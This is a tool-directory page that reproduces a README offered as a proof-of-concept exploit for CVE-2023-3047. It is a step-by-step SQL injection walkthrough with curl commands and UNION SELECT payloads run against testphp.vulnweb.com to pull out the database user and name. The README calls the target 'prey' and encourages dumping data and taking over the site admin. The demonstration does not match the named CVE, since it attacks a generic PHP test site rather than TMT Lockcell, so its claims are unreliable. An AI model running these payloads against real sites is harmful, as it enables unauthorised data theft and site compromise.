Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/phamchie/cve-2023-3047
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubphamchie/cve-2023-3047

CVE-2023-3047

Proof-of-concept exploit for CVE-2023-3047 SQL injection vulnerability in TMT Lockcell. Demonstrates manual exploitation using cURL and Burp Suite to enumerate database users and schemas.

View Repository
42242 years agoNot yet reviewed
Share
  • Telegram : @ghostman_s3c or @Chrome2024
  • Donate BTC : 17L22i227Keet23QCNaeCyrQ6xfiTQpQJ5

PoC How To Exploit CVE-2023-3047

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in TMT Lockcell allows SQL Injection.This issue affects Lockcell: before 15.

  • Details : https://www.tenable.com/cve/CVE-2023-3047

Exploit

First we will check to see if it has the CVE-2023-3047 error, now open a terminal, and make sure every terminal will support the cURL tool

  • and I will test it on the website : http://testphp.vulnweb.com/listproducts.php?cat=1
  • and now I will use the command to test them
  • command :
curl <your_url_vulnerable> | grep "at line"
  • after enter , and if it displays as 100 4976 0 4 --:--:Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 so your website is suffering from the error CVE-2023-3047

  • ok, next we will try to see if this website blocks these Inejection attacks, try using the following command and try it

curl <your_url_vulnerable>+Union+Select+1,2,3--+- | grep "The used SELECT"
  • and Enter, if it displays like the image below, then you have a lucrative prey

  • And now you should continue the union select payload from 1 to a certain number that is considered valid for the column number of the mysql website.

  • ok, my goal has a valid column number from 1 to 11, in the image below, 2 completely different results, above still has The used SELECT, and below there is not.

  • And now, I will go to Google and verify, see if it is valid with the above results or not, and conveniently, I will get another number from which I can get information.

  • Well, it seems like it's a completely valid result, and there are 3 numbers we can inject to get information from.

  • and now, we will practice injecting sql commands to get information from it

  • and we will use payload : +Union+Select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+-

curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+- | grep "::"
  • o oh, it seems, this command is not very good, because we have not encoded the payload into a URL

  • and now my task is to encode that payload into a URL path to continue the cyber attack

  • We will use Burp Suite to encode them

  • Now select Decoder, then select Encode as on the left side of the screen, then select URL and enter your payload. As for my above error, it has special characters like : (, ) on them. not enough requirements to meet, so I will just encode the command insert to get database information

CONCAT(user(),'::',database())
  • Now I will copy the encoded part below, then continue the attack
curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,<encode_path_here>,8,9,10,11--+- | grep "::"
  • and after entering, and that's the end of the game, the user name and database have been exposed, not only that, hackers can inject other payloads to get more information from them, for example dumping the base data to steal information or gain control of the website admin

  • So, the game is over, the user name is acuart@localhost and the database name is acuart

conclude

  • We update the servers with the latest version of MySQL or can search on Google to find ways to prevent network attacks like the above.
  • Please follow me, I will share knowledge about network security with you
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    911
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    548
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    366
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    362
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    311
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    287

Explore all tools

Browse our collection of tools

View all tools →